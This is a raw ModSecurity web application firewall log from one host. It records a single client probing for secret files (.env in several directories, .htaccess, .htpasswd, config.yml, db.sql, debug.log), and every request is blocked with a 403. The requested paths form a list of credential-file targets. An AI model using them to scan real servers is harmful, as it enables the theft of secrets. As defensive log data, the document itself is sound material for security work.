[Tue Aug 05 11:03:41.399514 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzQAAAAY&quot;]
[Tue Aug 05 11:03:41.423209 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.htaccess&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .htaccess found within REQUEST_FILENAME: /config/.htaccess&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzgAAAAY&quot;]
[Tue Aug 05 11:03:41.423399 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzgAAAAY&quot;]
[Tue Aug 05 11:03:41.423545 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htaccess&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzgAAAAY&quot;]
[Tue Aug 05 11:03:41.444976 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;.htpasswd&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .htpasswd found within REQUEST_FILENAME: /config/.htpasswd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzwAAAAY&quot;]
[Tue Aug 05 11:03:41.445220 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzwAAAAY&quot;]
[Tue Aug 05 11:03:41.445413 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.htpasswd&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPuzwAAAAY&quot;]
[Tue Aug 05 11:03:41.634854 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPu2AAAAAY&quot;]
[Tue Aug 05 11:03:41.635066 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPu2AAAAAY&quot;]
[Tue Aug 05 11:03:41.635219 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPu2AAAAAY&quot;]
[Tue Aug 05 11:03:41.802108 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPu4AAAAAY&quot;]
[Tue Aug 05 11:03:41.802368 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPu4AAAAAY&quot;]
[Tue Aug 05 11:03:41.802569 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aJHI7ToY6lxTouuFksPu4AAAAAY&quot;]
[Tue Aug 05 11:03:42.366699 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu7wAAAAY&quot;]
[Tue Aug 05 11:03:42.366923 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu7wAAAAY&quot;]
[Tue Aug 05 11:03:42.367096 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu7wAAAAY&quot;]
[Tue Aug 05 11:03:42.387350 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8AAAAAY&quot;]
[Tue Aug 05 11:03:42.387584 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8AAAAAY&quot;]
[Tue Aug 05 11:03:42.387766 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8AAAAAY&quot;]
[Tue Aug 05 11:03:42.407846 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8QAAAAY&quot;]
[Tue Aug 05 11:03:42.408051 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8QAAAAY&quot;]
[Tue Aug 05 11:03:42.408214 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8QAAAAY&quot;]
[Tue Aug 05 11:03:42.449787 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8wAAAAY&quot;]
[Tue Aug 05 11:03:42.450015 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8wAAAAY&quot;]
[Tue Aug 05 11:03:42.450210 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu8wAAAAY&quot;]
[Tue Aug 05 11:03:42.491658 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9QAAAAY&quot;]
[Tue Aug 05 11:03:42.492031 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9QAAAAY&quot;]
[Tue Aug 05 11:03:42.492202 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9QAAAAY&quot;]
[Tue Aug 05 11:03:42.512347 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9gAAAAY&quot;]
[Tue Aug 05 11:03:42.512549 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9gAAAAY&quot;]
[Tue Aug 05 11:03:42.512708 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db/.env&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9gAAAAY&quot;]
[Tue Aug 05 11:03:42.532944 2025] [:error] [pid 1720181] [client 185.177.72.115:18468] [client 185.177.72.115] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aJHI7joY6lxTouuFksPu9wAAAAY&quot;]
